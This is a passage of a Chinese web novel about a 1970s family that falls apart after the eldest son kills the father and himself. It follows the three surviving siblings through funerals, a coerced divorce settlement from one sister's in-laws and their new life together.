牛春草说道:“这荠菜真新鲜,你们看这样好不好,咱们每人出点面,到小宋家包荠菜包子好不好?” 宋知南当然乐意:“好啊,正好咱们聚个餐。” 陈小云笑着说:“我包的包子可好吃了。” 牛春草说:“打的就是你的主意,你正好给大家露一手。” 众人一边说说笑笑,一边往城里骑去。 没想到,他们在半路上遇到了保卫科的小刘。 大家都很奇怪:“刘同志,真巧啊,咋在这里遇到你了?” 小刘擦了把脸上的汗,说:“不巧,我是特意来找你们的。” 牛春草的脸色不禁一变,急声问道:“小刘,厂里发生啥事了?” 小刘的目光看向宋知南,一脸为难,欲说还休。 大家一起看向宋知南。 宋知南正色道:“刘同志,你说吧。” 小刘唉了一声:“小宋,你家出大事了。” 宋知南接着问:“什么大事。” 小刘说话吞吞吐吐,神情似有不忍。 牛春草比宋知南还急,催促道:“你吞吞吐吐地干啥呢?赶紧说呀。” 小刘终于说了:“宋同志,事情是这样的,你刚离开不久,你哥回来了,他不知怎地就跟你爸吵起来了,吵着吵着突然就发起疯来,用刀把你爸和你弟都捅了,你爸当场就……死了,然后你哥也自尽了,你弟现在在医院。不幸中的万幸,你妈当时去买菜了不在家,逃过了一劫。” 大家宛如石化,现场鸦雀无声。 过了一会儿,牛春草才不确定地追问了一句:“真的假的?” 小刘无奈地说:“牛大妈,我能拿这种事开玩笑吗?” 大家这才慢慢反应过来,纷纷上前安慰宋知南。 宋知南此时也一脸诧异,这个宋秋实果真祭天了?还连带着宋上进也跟着升天了? 众人用担忧的目光看着宋知南,一时不知道该如何安慰她。 最后还是牛春草先开了口:“小宋,你难受就哭出来吧?别憋着。” 宋知南摇头:“我没事,快走吧。我得赶回去看看我弟怎么样了。” “对对,咱们快些回去。” 大家怀着沉重的心情匆忙赶路,回到家后,宋知南放下东西,直奔医院。 宋上进和宋秋实的尸体在医院的太平间里。李玉华病倒了,宋冬宝在住院,宋知春请假过来照顾李玉华,宋知夏照顾宋冬宝。 宋冬宝一看到宋知南来了,抱着她哇地一声哭了:“三姐,大哥疯了,他拿刀捅我,说要让我也变得跟他一样,我招他惹他了?他怎么能这么对我?” 宋知南拍着宋冬宝的背好声哄道:“冬宝没事了,姐姐保护你。” 宋冬宝拽着宋知南的胳膊不停地说:“大哥太可怕了,他捅死了爸,血流得满地都是,他怎么可以这样?” 宋知南猜测宋秋实可能会压抑得变态,会妒忌宋冬宝,但她没想到后果会这么严重,他竟然直接动手杀人。 宋冬宝突然想起了什么,目带惊恐:“三姐,大哥还说他也恨你,还说要把你杀了,幸亏你不在家。” 宋知南有后怕但不多,她上辈子练得不多还能跟三个精神病同归于尽,现在练了这么久,宋秋实跟她动手,死的肯定不是她。 其实,宋冬宝和宋上进联手也未必打不过宋秋实,估计是事发突然,两人谁也没想到会到这一步。 宋冬宝还在不停地说话,他怎么也想不明白,他们亲兄弟之间哪怕再不和,也不至于到死人的地步吧? 宋知夏拿完药回来,一看到宋知南,眼圈发红:“知南,你说咱们家是怎么了?我从前天晚上到现在,整个人都是懵的,脑子一片空白。” 宋知南说:“我的脑子也是一片空白。” 两人说着话,宋知春进来了,她一进来抱着宋知南哭:“三妹啊,你说咱们家到底怎么了?这一件接一件的,就没个消停的时候。” 宋知夏心里难过,也跟着宋知春一起哭,宋冬宝也听到两个姐姐哭,也跟着哭了起来,病房里哭声一片。 其他病人和家属用同情的目光看着他们,这一家子实在太可怜了。 三个人哭够了,慢慢平静下来。 宋知春擦擦眼泪说:“三妹,妈的精神状态很不稳定,她一直在骂你,你最好别去看她。” 宋知南点头:“行,我留下来照顾冬宝,你和二姐照顾妈。” 宋家出了这样的惨事,贺主任直接给宋知南批了三天假,让她好好去处理后事。 何黛李群英魏芬她们轮流来看宋冬宝,安慰宋知南。 魏芬握着宋知南的手说:“小南,发生这样的事,无论我们说什么都没用,我只希望你们几个能振作起来,要向前看。有什么需要我们帮忙的地方,你尽管说。” 宋知南点头。 宋秋实和宋上进的尸体被送进了火葬场,丧礼是大伯大伯母和邻居们帮着办的,十分简单。 丧礼过后,宋知南和宋知夏一边上班一边跑医院。 宋冬宝伤在根部,医生说,他的那个东西虽然及时缝上了,但到底伤到了根本,以后大概率没法用,当然也生不了孩子。 李玉华听到后,眼中最后的一点光亮消失了,她整个人变得死气沉沉,一整天不言不语。 三天后,宋冬宝和李玉华一起出院,李玉华仍旧是谁也不搭理,她去单位请了长假,收拾东西回娘家去了。 宋知南和宋知夏回来时,只有冬宝一个人在家,他像一只被抛弃的小狗一样,一见到姐姐就眼泪汪汪地说:“二姐三姐,妈不要咱们了。她去舅舅家了。她说这个家她一天也不想呆了。她还说连我也没用了,她的后半辈子没一点指望了。” 宋知夏愤怒且不解:“妈怎么能在这个时候离开家呢?” 宋知南说:“随她去吧。” 宋家这次的瓜实在太大了,把大家伙都给震住了。相比上次宋秋实的事,这次他们吃瓜都带着严肃的神情。不能显得太兴奋太活跃,否则会显得他们不近人情。 无论怎样,八卦始终都是要八卦的。 有人在可怜宋家三姐弟的同时,还有人提出来,宋家的风水是不是不好?否则怎么会发生这样的事情呢? 那个宋秋实好好的怎么就突然发疯了呢?难不成宋家祖上有这方面的遗传? 大家突然想到宋知南,那种理智平静的疯感,天呐,他们像是一下子明白了什么。 还有个有文化的人提出佐证:有人说过,天才和疯子只有一线之隔。宋知南和宋秋实是兄妹,宋知南算是天才,至少也算人才。宋秋实就成了疯子。这么一想,也不奇怪了。 至于宋秋实为什么突然就疯了,谁的□□被割了,天天被人议论不得疯? 听说宋秋实疯掉的导火索是他发现一向疼爱他的父母放弃他了,转而疼爱起弟弟来了。他受不了这其中的落差。 俗话说得好,宠狗上灶,宠子不孝。凡是被溺爱的孩子就没一个孝顺的,大人真得引以为戒。 宋家的悲剧引起了周围邻居的警醒,警钟为谁而鸣?就为他们而鸣。只是宋家怎么就一直敲警钟呢? 还有人怀疑,难道是姓氏不吉利?宋钟等于送钟。这个说法很快就被姓宋的人给否决了。他们姓宋的招谁惹谁了?要背这么一口大锅? 但宋钟这个名称还是打出去了。人们看到宋知南的第一反应就是宋一刀和宋钟。 以后没事别惹她,有事也尽量别惹她,能忍则忍,忍一时风平浪静;退一步海阔天空。 不只是宋知南不能惹,宋家所有人都不能惹。宋秋实因为失去了□□发疯了,宋冬宝也没根了,以后也有可能会发疯。我的妈呀,越想越可怕。 宋知夏和宋冬宝很快就发现了,周围邻居的目光有些古怪,跟以前完全不一样,那时候他们的目光是好奇的探究的充满同情的。现在嘛,这些人一看到他们就赶紧移开目光,对方似乎很害怕他们。 不止是邻居们害怕姐弟三人,就连陈家人也有点害怕宋知夏。 宋知夏因为家里的事,最近总是早出晚归,一天到晚拉着脸。要是以前,他们觉得没有什么,但现在,总觉得宋知夏阴恻恻的很可怕。 有一天,陈安华因为一件小事跟宋知夏吵了几句,陈安华嘴欠拿宋家的事攻击宋知夏。 宋知夏突然说道:“你说得对,我们宋家净出杀人犯,我们家还有疯癫的遗传,你信不信,我半夜发疯弄死你。” 说着无心,听着害怕。陈安华被吓住了。 当天晚上,他没敢回屋睡,在客厅里窝着睡了一觉。 这一晚,陈安华想了很多很多,他想起了小舅子和老丈人的惨死,想起了宋知南的狠和癫,又想起了坊间的很多传言,最后,他不可避免地想起了自己已经坏掉和还没有坏掉的蛋。 如果有一天,他得罪了宋知夏,他会不会也惨死在她的刀下? 就算不惨死,他的兄弟会不会也被一剪没?有可能,完全有可能。 宋知夏现在有一个疯狂的妹妹,有一个随时有可能疯癫的弟弟,陈安华越想越觉得前途昏暗,生活完蛋。 第二天早上,他顶着两个黑眼圈对陈志国和王桂兰说:“爸妈,我考虑了一夜,我觉得我得跟宋知夏离婚,我现在一看到她就软就害怕,你们说这日子还怎么过?” 说着,他把自己昨夜的思考内容全部告诉了父母。 陈志国和王桂兰一起陷入了沉思,儿子想得确实没有错。 这个宋知夏留不得了。 儿子一见到她软,这夫妻生活怎么过?孙子怎么生? 别说儿子看到她害怕,他们也害怕。他们忘不了婚礼上,宋知南和宋冬宝那极强的战斗力。当时就觉得哪里不对劲,现在想想,那俩人就是疯子啊。正常人谁能那样癫狂?他们老陈家怎么倒霉?给儿子娶了个有可能会疯的媳妇?赶紧离吧,必须得离。 宋知夏没想到在她爸和弟弟刚死没多久,自己就收到了婆家发出的想离婚的信号。 陈家人不敢刺激她,话说得很委婉,只说陈安华可能好不了,两人的夫妻生活又不和谐,不能一直这么耽误她。 宋知夏冷笑连连:“哈哈,不能耽误我?你们早已经耽误我了。” 陈安华仗着人多,梗着脖子替自己辩解:“知夏,你也不能这么说,当初咱俩恋爱结婚,你是自愿的,我也没有逼迫你。” 宋知夏自嘲地笑道:“你说得对,我当时是自愿的,我怨不得别人。我自己做错了,就得认。” 她心灰意冷地说:“我回去跟我妹妹商量商量。”说完,她转身离开了。 晚上,宋知夏到宋知南家,告诉她陈家提出离婚的事。 宋知南一点也不惊讶:“正常,男人做出什么事我都不惊讶。他们永远在权衡利弊,永远只会优先考虑自己的利益。那你呢,你是怎么想的?” 宋知夏说:“我之前害怕离婚,因为我没有工作,也没有地方可去。现在我有工作了,就不那么害怕了。” 说到这里,宋知夏苦涩地笑了一下:“咱们家出了这样的事,我再离婚,咱们姐弟三人的名声是坏到不能再坏了吧?” 宋知南不在意地说:“那又如何?以前咱俩名声都好,你是装出来的,我是委屈来的,结果咱俩过的都是啥日子?现在呢?你不装了,我不委屈了,好嘛,天天吃香喝辣心情爽。所以,这名声到底有啥好处?” “这么一看,确实没啥好处。” 宋知南把话题拉回正题:“陈家先提离婚,对你来说是个机会。你正好趁机摆脱陈家,修正你的错误。另外,再趁着他家急于摆脱你的心理,咱们要一笔精神损失费,就要它500块怎么样?” 宋知夏一脸诧异:“还能要500块钱?” 宋知南:“那当然了,你给他们家当了将近一年的保姆,还受气,又变成了二婚,可不得收点精神损失费吗?” “要是他们家不肯呢?” “不肯,你就假装不离。我再教你一招。你半夜不睡,拿着剪刀坐在陈安华旁边剪指甲,啥也不用说,剪几个晚上试试。要是还不行,我带着冬宝拿着把刀就坐在他家客厅里,啥也不说,啥也不干,就那么看着他们笑,笑得他们心里发毛。” 宋知夏:“……” 现在不光陈安华怀疑,连她自己都怀疑他们宋家的遗传有问题。 第96章 宋知夏起初没想要用妹妹教的这一招, 可是当她回到家里,看着陈安华那张丑脸, 越看越难受,越看越委屈。 找男人绝对不能找丑的,你找个俊的,吵架时看到他的俊脸你还能消消气。找丑的,看到他的那张丑脸,你会更来气,还会怀疑自己。她当初怎么就那么傻呢?她大大高估了自己的忍耐力。 饥不择食,贫不择夫,找个丑夫还不如养头猪,真是人间真理。 宋知夏越想越委屈,怒从心头起, 恶向胆边生。她的生活这么苦了, 让别人苦一下不过分吧?别人都认定他们家的人有疯癫的遗传, 她就疯一下怎么了? 陈安华睡熟之后,宋知夏没有睡, 她开着台灯, 拿起剪刀慢慢地修剪指甲,寂静的夜里,剪指甲的声音显得格外清脆。 她剪一下指甲看一眼陈安华,这样频繁地看他,她不信,他会不醒? 陈安华睡着睡着突然惊醒了,他一睁眼就看到披散着头发的宋知夏正拿着一把剪刀, 借着昏黄的灯光,直勾勾地盯着自己。 他大惊失色, 吓得跌下了床,颤声问:“知夏,你要干吗?我今天没得罪你吧?” 宋知夏淡淡地说:“你今天没得罪,不代表以前没得罪,你是今天才是认识我吗?” 陈安华声音温柔,生怕刺激到宋知夏:“咱们有话好好说,你先把剪刀放下。” 宋知夏握得更紧了,剪刀果然有用。妹妹告诉她说,剪刀是女人的好朋友,它都不算管制刀具。 宋知夏平静地说:“我想通了,你想离婚可以,但你们家得补偿我500块钱。” 陈安华吓了一跳,“凭啥呀?你还捏坏了我的蛋呢。” 宋知夏无所谓地说:“你要是不同意,咱们就不离了,就这么凑合过呗。” 这一晚,陈安华失眠了,宋知夏却睡得很香。 次日早晨,陈安华把宋知夏的话转述给爸妈听时,陈志国和王桂兰一起骂宋知夏不要脸还贪心。别说500块,5块钱他们都不想给。 双方的谈判就僵持在这儿了。 宋知南一听,陈家还需要她去加一把火。下班后,她带着宋冬宝,揣着把雪亮的水果刀到陈家走亲戚。 宋冬宝按照姐姐的吩咐,什么话也不说,冷着一张脸,进去就把水果刀放在桌子上。 陈家三口果然被震住了。 陈志国开口问道:“冬宝,你拿刀干啥?” 宋冬宝昂头回答:“不干啥,我喜欢刀。” 宋知南问陈家三人:“听说你们家想离婚?离婚也不是不行,就是吧,我姐从未婚变成了二婚,还伺候你们全家大半年,还受到了强烈的精神刺激,你们家总得有点表示吧?我姐要的不多,就500块。你们觉得如何?” 王桂兰说:“我们也想补偿知夏,就是我们家没钱。” 宋知南:“你家没钱,那你们咋还有脸说我姐高攀你们家?” 杠精值15。 三人一齐沉默。 宋知南接着说:“没钱,那就不离了。不过我担心你们欺负我姐。现在我爸没了,我哥没了,我妈走了,我们家只有我们姐弟三人相依为命,我不能再失去我二姐。所以,我决定让我弟住在你们家陪着我二姐。” 陈家三口脸色煞白,异口同声:“不行,绝对不行。” 宋知南扬手打断他们:“我不是来跟你们商量的,我是来通知你们的。冬宝你今晚就住下,就当这儿是自己家。” 陈志国做为一家之主,出来跟宋知南交涉:“知南侄女,你这么做不对吧?哪有你们这样硬上人家家里做客的?” 宋知南笑着说:“都是亲戚,啥硬不硬的,这么说就见外了。我弟肯住你家,那是看得起你,你别给脸不要脸。” 杠精值加5。 陈家三口经过慎重的考虑,最后跟宋知南还价到400,宋知南说400不好听,要450。陈家现在也顾不上肉疼了,只想赶紧送走这几个瘟神。 钱拿到手,宋知夏痛快地去跟陈安华办了离婚手续。 这事又引起了轰动,七十年代的离婚率是非常低的。尤其是宋知夏才跟陈安华结婚半年多就离了,大家的议论十分汹涌。幸亏,这半年来宋知夏成长了不少,不然还真有些招架不住。 有人目光闪烁地向宋知夏打探离婚原因,宋知夏实话实说:“陈安华说他一见到我软,不想耽误我,干脆就离了。” 还有人问宋知南:“小宋,你二姐离婚了,你对这事是咋看的?” 宋知南反问道:“你知道离婚的根本原因是什么吗?” “啊,是啥?” 宋知南一本正经地说:“离婚的根本原因就是结婚,要是不结婚不就不用离了?” 众人:“……” 这个小宋是真机灵啊,要照这么说,那人不出生是不是就不用死了? 宋知南:还真是这样。高端的道理往往是最朴素的,大道至简嘛。 一个月后,李玉华从娘家回来了。她那死寂的眼神又稍稍有了点活气。 她做出了一件让大家伙惊掉下巴的事情。 她把纺织厂的工作卖了,准备去投奔远在边疆的妹妹一家。 宋知南冷静地问道:“妈,你是要改嫁?”她有家有工作,又不是活不下去,没道理去投奔妹妹,唯一的可能就是她想再婚。 李玉华都懒得骗宋知南,直接实话实说:“是的,我要改嫁。我的秋实没了,冬宝也没用了,你爸也死了,我的后半生还有什么指望?” 宋知南说:“可是你还有工作,还有房子,还有大姐二姐。” 李玉华吼道:“你听不懂人话吗?我男人死了,儿子不是儿子了。你大姐二姐还有你,有个屁用?我将来能指望你们仨吗?” 宋知南微笑:“行,我明白了。你觉得男人才是你的归宿和精神支柱,没有男人你就活不下去。” 李玉华骂道:“你给我滚。宋知南,我恨你。” 宋知南笑:“没关系,我正好也讨厌你。” 李玉华继续发泄:“咱们家走到这一步,都是因你而起。如果当初你乖乖地下乡,秋实就不用下乡,不下乡他就不会出这种事,他不出这事就不会发疯,不发疯就不会杀死你爸,毁了冬宝,你就是个克星,你把咱们全家都毁了。” 宋知南继续笑:“我是家里食物链的最底层,宋秋实吃掉我才能过得更好。 吃什么补什么,吃苦不能让他成为人上人,但吃人能啊。 我不让他吃,这个食物链就断掉了。 哈哈哈,断得好,断得妙。如果一个男人靠吃自己的姐妹才能活着,那他就该去死!” 李玉华气得胸脯剧烈起伏:“宋知南,你这辈子都不会嫁出去,你一定会孤独终老。” 以前别人问她宋知南克夫的事,她一律否认,现在她全都认了。她宋知南就是克夫,不但克夫还克全家。 宋知南粲然一笑:“你真是我的好妈妈,临走还帮了我一个大忙。” 以后再也没人找她的麻烦了,彻底清净了。 李玉华见宋知南仿佛还没意识到事情的严重性,又恶毒地提醒她:“宋知南,你还年轻,你不知道,一个女人没有男人要是多么可怜。” 宋知南怜悯地看着她:“做为一条狗自然觉得屎是世界上最重要的东西,但做为人,我避之不及。” 杠精值加5。 李玉华勃然大怒:“宋知南,你连你亲妈都敢骂,你还是人吗?” 宋知南:“我不是人,我是神仙。我只是借由你的肚子来到凡间历劫。有爱的才叫亲人,没有就是陌生人。所以,你不是我亲妈,我以后叫你李阿姨。” 杠精值加5。 李玉华继续破口大骂。 宋知南:“李阿姨,收收你的性子吧,你这样大吼大叫,小心你的新男人不要你。” “你——” 杠精值加5。 宋知南平静地接受了李玉华准备再嫁的事。 但宋知夏和宋冬宝完全不能接受,至少现在不能接受。 宋知夏说:“妈,我不是一定不要你再嫁,你就不能再等一等吗?我爸刚去,冬宝的身体还没好彻底。” 宋冬宝哭着说:“我们已经没爸了,现在你也让我们没有妈妈吗?” 李玉华面无表情:“你们都长大了,能照顾好自个儿。” 宋冬宝抱住李玉华的胳膊,像以前那样撒娇:“妈,你你不是说我是你最宝贝的儿子吗?你连我都舍得吗?” 李玉华有一瞬间的动容,但转念想到小儿子也不是儿子了,她的心又硬了起来。这个家没指望了,她的男人死了,冬宝废掉了,不可能再传宗接代;知夏离婚了,丢人现眼;宋知南更不用说,她就是冷血自私的白眼狼。 她现在还没有绝经,取掉节育环,拼一拼,说不定还能再生个儿子。这个破地方她一刻也不想再呆了,她无法忍受别人的指指点点。 李玉华拿着卖工作的钱和一部分家庭存款收拾东西离开了宋家,去边疆投靠妹妹并改嫁,妹妹给她写信说那边的光棍特别多,女人特别抢手。连她这个年纪的女人都不愁找对象。以她的条件,她有可能嫁个小领导。 宋知南看着李玉华决绝的背影,忍不住笑了一下,她曾经说过,要亲自给亲妈送嫁,没想到竟然一语成谶。生活是如此地荒谬可笑。 大家伙用同情怜悯的目光看着姐弟三人,三人没了爸也没了妈,一夜之间家破人亡,真让人欷歔感慨。 宋知夏心情沉重,情绪低落,时不时地掉眼泪,干什么都打不起精神来。 宋冬宝也跟她差不多。 宋知南做为情绪最稳定的人,只能安慰两人:“都别哭了,振作起来。二姐,你搬回来住,好方便照顾冬宝。冬宝,咱们把房子过户到二姐名下,以后二姐就是家里的户主。” 宋冬宝此时是六神无主,完全听凭宋知南做主。 他带着哭腔说:“二姐三姐,我以后一定会好好听话,你们别不要我。” 宋知南拍拍他的肩膀:“你放心,我们一定会好好照顾你,你不要学大哥,就算没了那块肉,也不影响你活着是不是?” 宋冬宝:“姐,我不想上学了,同学们都笑话我。” 宋知南点头答应:“你先养好身体,然后接咱爸的班,让厂里给你安排个轻省的工作,比如看仓库之类的。” 宋知夏说:“冬宝工作的事得尽快去办,以免夜长梦多,我去办吧。”三个人中她年纪最大,她得撑起这个家。 宋知南继续劝宋冬宝:“冬宝,你上班后肯定有人笑话你,他们背后说什么你不用管,只要谁敢当面笑话你,你就直接动手打。打不过,姐姐帮你。 你一定要想开点,凡事都有两面性,这事也有好的一面。你那个东西是你的烦恼根,没有它,你的生活就清净多了,不用娶媳妇,不用传宗接代,想吃就吃,想喝就喝。我要是男人,没准我会主动咔嚓了自己,就为了落得个六根清净。” 宋冬宝和宋知夏:“……” 第97章 宋知夏怕夜长梦多, 火速帮着宋冬宝办好了接班手续。国棉厂一看宋冬宝这种情况便把他安排在仓库里看守仓库。 上班这天,宋知南特意带着宋知夏去给宋冬宝撑场面, 她像模像样地先散了一圈烟,对宋冬宝的那些同事们说道:“你们大家肯定也都知道了我家的情况,我哥疯了,杀了我爸伤了我弟,我妈改嫁了。 现在只剩下我们姐弟三人相依为命。我弟今年才十五岁就得出来上班,请你们以后多照顾他。看在我死去的父亲的份上,希望你们不要欺负他也不要议论他,更不要刺激他。我哥哥就是因为被他的同事刺激才疯的,他临死前还后悔没有杀了那帮同事。我这个弟弟性子暴躁,又遭逢巨变,精神状态不太稳定, 我怕他会伤害到你们。” 宋知南这番话说得十分客气礼貌, 众人听后, 心里却是一咯噔,背后凉飕飕的。 大家强颜微笑:“宋同志, 你尽管放心, 我们都是正派人,从来不爱嚼舌根,我们会好好照顾冬宝同志的。” 说完,他们还过来跟宋冬宝握了一下手,表示自己的善意:“冬宝,你就把厂里当成家,我们都是好兄弟, 我们比你大,以后会好好照顾你的。” 宋冬宝嗯了一声。 宋知南把话说到了, 就领着宋知夏离开了。 宋冬宝用不舍的目光看着姐姐离开,姐姐对他是真好,还特地过来替自己撑腰。大哥要是跟三姐关系好,没准他就不会这么惨。 宋冬宝慢慢适应了上班的生活,大家对他确实挺照顾,他适应得很快。但有一条,他好像融入不了他们。这些人对他客气热情但同时又跟他保持着一定距离。好在宋冬宝从小心大,倒也不太在乎这些。 一下班,他就飞快地跑回家。 宋知南买了条鱼,宋知夏买了块豆腐,他们今晚吃红烧鱼和鱼头炖豆腐。 宋知夏耐心地教他怎么做鱼:“鱼刮完鳞,清理掉内脏后,用葱姜蒜和一点白酒腌一会儿,锅底放一层油煎得两面焦黄,再淋上调好的汤汁……” 宋冬宝之前被宋知南逼着做了一段时间的饭,多少有些基础,倒是学得挺快。 宋知夏说道:“冬宝,我跟你三姐不可能陪你一辈子,你要学会很多生活技能。你三姐说你最好学点手艺,把生活填满,人不能空虚。秋实就是太懒太闲才钻了牛角尖想不开。” 宋冬宝从善如流,他绝对不能像大哥那样。三姐说得对,虽然少了块肉,但只要想得开也不影响他的生活。再说了,他连肉都没少,就是不好用了而已。 一个小时后,饭做好了。宋知夏给魏芬和另外两家比较好的邻居端去一碗鱼汤。 三家各有回礼。 她回来后,三人开始吃饭。 宋知南给宋冬宝挑了一块鱼肚子上的肉:“冬宝,你多吃点,这鱼就是为你买的,你得好好补补。” 宋冬宝心里无比感动:“谢谢三姐,你对我真好。” 宋知南边吃边说:“以后,咱们每星期改善两次生活,下回我从老乡家里买只鸡回来炖。” 这鱼还没吃完,宋冬宝已经开始盼着鸡肉了。 宋知南以前觉得自己不爱吃鸡肉,结果上次她们在公社演出,公社书记宰了一只大公鸡招待她们,她吃得不亦乐乎。原来她不是不爱吃,她是没吃到好的。 宋知夏有些隐忧:“三妹,过日子还是得节省,咱们这么大吃大喝的不太好吧?” 宋知南说道:“咱们三个都有工作,吃得起。而且,经过大哥和爸的事,我突然想明白了,明天和意外,你不知道哪一个先来。所以不要想那么远,该吃吃该喝喝,没准明天就吃不着了。” 宋冬宝非常赞同这句话,频频点头。 宋知南又说:“二姐你离婚了,我以后不打算结婚,冬宝这样子大概率也不会结婚了,咱们三个光棍不吃吃喝喝玩玩乐乐,留着钱干嘛?” 宋知夏无言以对。 宋冬宝听罢却是眼睛一亮,光棍有光棍的好处啊,大哥就是想不开呀。 根没了就没了,那古代的太监不也活得好好的吗?三姐说那个司马迁被割了还能写书。 宋知南接着对宋冬宝说:“冬宝,姐对你的要求是:不随便杀人,不放火,不赌博。其余的,你想干啥就干啥。” “我、我绝对能做到。”谁闲得没事去杀人放火呀。 吃完饭,宋冬宝主动去洗碗。宋知夏和宋知南一起收拾屋子。 宋知夏说:“三妹,我把冬宝以前住的那间房给你收拾出来,你以后可以随时回来住。” 说到这里,她又小声说:“冬宝现在不敢住他原来的房间,也不敢住爸妈的房间,每天晚上把小床搬到我门口睡觉。” 宋知南说:“没事,习惯了就好了。” 宋冬宝跟宋知夏一起生活,姐弟俩的感情变得空前的好。 宋知夏在自己熟悉的地方生活,还没有人管束,家里都是她做主,她越发觉得自在。 宋冬宝有姐姐依赖和照顾着,也觉得挺好。 上次刚吃完鱼,没两天,宋知南就告诉他们有鸡肉吃了。宋知夏直接收拾东西带着宋冬宝去了宋知南家。 她们今天吃的是小鸡炖蘑菇,三人吃了个肚儿圆,吃饱喝足后,三人一起去溜狗散步。 宋知夏感慨道:“咱们姐弟三个很少有这么和谐的时候。” 真是奇怪,父母没了,家散了,他们的感情反而变好了。 宋知夏让宋冬宝帮她把缝纫机搬回家里,她每天下了班就开始学做衣服。她喜欢做衣裳,又肯下功夫钻研,手艺越来越好。宋冬宝也听了宋知南的建议开始学手艺,他选的手艺就是做饭。 宋知南买了好东西偶尔会喊两人过去吃饭,鸡鸭鹅还有鱼虾他们都吃过了,宋冬宝的手艺也越来越好。 宋冬宝胖了几斤,个子也窜了一截,他又变成了那个没心没肺的开朗大男孩。 邻居们见到他,不由得感慨:这娃的心是真大呀,心大也挺好,至少不会一言不和就捅人。 宋冬宝还时不时地向宋知南表忠心:“三姐,以后肯定没姑娘肯嫁我,我将来就跟着你混了。我给你当保镖和厨子好不好?” 他是家里最小的,依赖心也是三人中最重的。他无法想像自己一个人怎么过。 宋知南说道:“冬宝你放心,以后姐会护着你。再过几年,咱们换个地方,去省城或是帝都,那里谁也不认识你。” “真的?” “肯定的,我以后一定会很有钱很有名气。” 宋冬宝笑着说:“嘿嘿,姐,大家都说你是文曲星下凡,你将来肯定能成为著名作家。” 他妈还说什么他和大哥有慧根,可拉倒吧,他算是看出来了,他们宋家慧的都是不带根的。 家里发生了这样的变故,大姐宋知春来得也比以前勤多了,每次来都不空手,给他们三个带点吃的喝的,顺便帮着做做家务。 宋知春最担心的还是三个弟妹的精神状态,看到空荡荡的家,再想想死去的爸和大弟,她就忍不住伤心落泪:“你说咱们几个咋就那么可怜呢?这样的惨事偏就让咱们家赶上了。” 大姐一哭,宋知夏也忍不住想哭,宋冬宝也跟着哭。 邻居们一听到他们哭,也有心软的人跟着哭。 宋知南来的时候就听见院子里哭声一片。 她只好先把人劝住,宋知春惦记着家里的孩子,跟宋知南说了一会儿话就抹着眼泪离开了。 宋知春人走了,但家里的气氛仍然很低迷。 宋知南只好说道:“二姐,以后大姐再来你劝劝她,让她别哭了,也别总觉得咱们很可怜。” 宋知夏说道:“可是咱们真的很可怜呀。” 宋知南说:“咱们可怜什么?宋秋实发疯没了,爸没了,可是咱们活下来了,咱们三个可是幸存者。咱们有房子住有工作,有什么好可怜的?首先,咱们不能自认为自己很可怜,别人说咱们可怜也不要认同。你一自怜不打紧,有的人闻着味儿就来占便宜了。最关键的是二姐,你现在离婚又遭逢家庭巨变,小心有男人打你的主意。你不要试图从男人身上寻找安慰和缺失的父爱。咱们亲爹身上都没有父爱,更何况是陌生男人?他们有爹味但没有父爱,因为他们本质上都是巨婴。” 宋知夏嗯了一声,表示听进去了。 宋知南看着宋冬宝和宋知夏,语重心长地说:“人活着的最大目的是要让自己开心,你们两个不要花太多时间去琢磨自己怎么可怜,怎么坎坷不幸。你俩把注意力集中在做什么能让自己开心和充实上。” 两人听完宋知南的这番话后,倒也真有所改变。 再有人说他们可怜,宋知夏淡然答道:“我们不可怜,你们以后别说这话了,好像故意想让我们难受似的。” 挑起这个话头的邻居脸上讪讪的。 宋知南这次又猜对了,有人见宋知夏有房子有工作,还没有父母,就开始打起了她的主意。 有个媒人上门说媒,说男方人老实能干会疼人,不嫌弃宋知夏离婚和名声不好,愿意娶她。 宋知夏一打听,男方今年三十八了,家里有五个孩子,她气得把媒人骂走了。 媒人还委屈地说:“年纪大点咋了?年纪大了会疼人。人家男方可是个老实人。这样的条件配你不是刚刚好吗?” 宋知夏骂道:“你爷爷七十了会疼人不?要不你离婚再嫁个九十的,更疼你。” 媒人悻悻地说:“我看你以后能找个啥样的。” 接连骂走三个媒人后,宋知夏为了清净也学了妹妹的那套话术:她也克夫。谁娶她,谁全家倒霉,轻者没蛋,重者没命。 这流言一出,众人见到姐弟三人就忍不住摇头叹气,小声议论,这一家子将来要出三个光棍,他们咋就不愁呢?还每天乐呵呵的,咋笑得出来? 宋冬宝听到这些议论后,心里不得劲儿,回来向两个姐姐诉苦。 宋知夏安慰他:“冬宝,别理他们,咱关起门来过自己的日子就行。反正我现在过得无比舒心,长这么大就数现在最舒心。”娘家婆家她都没有归属感,现在却有了,每天过得既充实又心安。 宋知南说:“三个光棍咋啦?三根光棍就是三根中指,我们在向这个世界表明自己不屑的态度。” 第98章 宋家出事以后, 宋自强和何梅帮着他们办了丧事。之后又来看过姐弟三人几回,两家之间的走动也随之变多了。 何梅跟宋知南说:“你大伯本来想给老家的亲戚发电报让他们来奔丧, 被我拦住了。我说,他们那些人帮不了什么忙,还净添乱,先别让他们来。 现在你妈又抛下你们走了,就剩下你们三个晚辈。万一你叔他们再盯上你爸的工作和你家里的钱,你们的麻烦可就大了。虽然你本事大,不怕他们,但麻烦嘛,能避免最好避免。你觉得呢?” 宋知南都忘了老家还有亲戚了,便说道:“大伯母,还是你想得周到。你做得很对。再说了, 他们大老远的来一趟不容易, 而且现在正赶上春耕, 可不能耽误了生产,还是别让他们来了。等他们以后知道了再说吧。” “你说得对, 就是这样。” 何梅越来越欣赏宋知南了, 这孩子聪明灵透,一点就透,还不被那些条条框框束缚。哪像她家那个榆木疙瘩,在她脑袋上戳个洞也点不透。 何梅忍不住叹气。 在看完三姐弟没几天,何梅又提着一篮子吃的来了。 她一看到宋知南,就笑着说:“哎呀小南,我听你姐说你爱吃馅饼, 我特意多烙了几样,你尝尝好不好吃。” 宋知南拿了个韭菜鸡蛋馅的尝尝, 馅饼还是温的,味道确实不错。她看着何梅的神色,看这架式有是事找她呀。 宋知南边吃馅饼边问:“谢谢大伯母,馅饼很好吃。你今天是有什么事吗?” 何梅未语先叹气:“唉,还不是因为你湘湘姐,你说她那脑子是咋长的?你们是堂姐妹,你跟知夏身上的聪明劲儿她是一点都没学会。” 何梅一打开话匣子就收不住,巴拉巴拉说个不停,概括起来就是,宋湘看上了一个人俊嘴甜但家穷负担多的对象,何梅坚决不同意,宋湘坚决要谈,母女二人已经吵了好几架了。 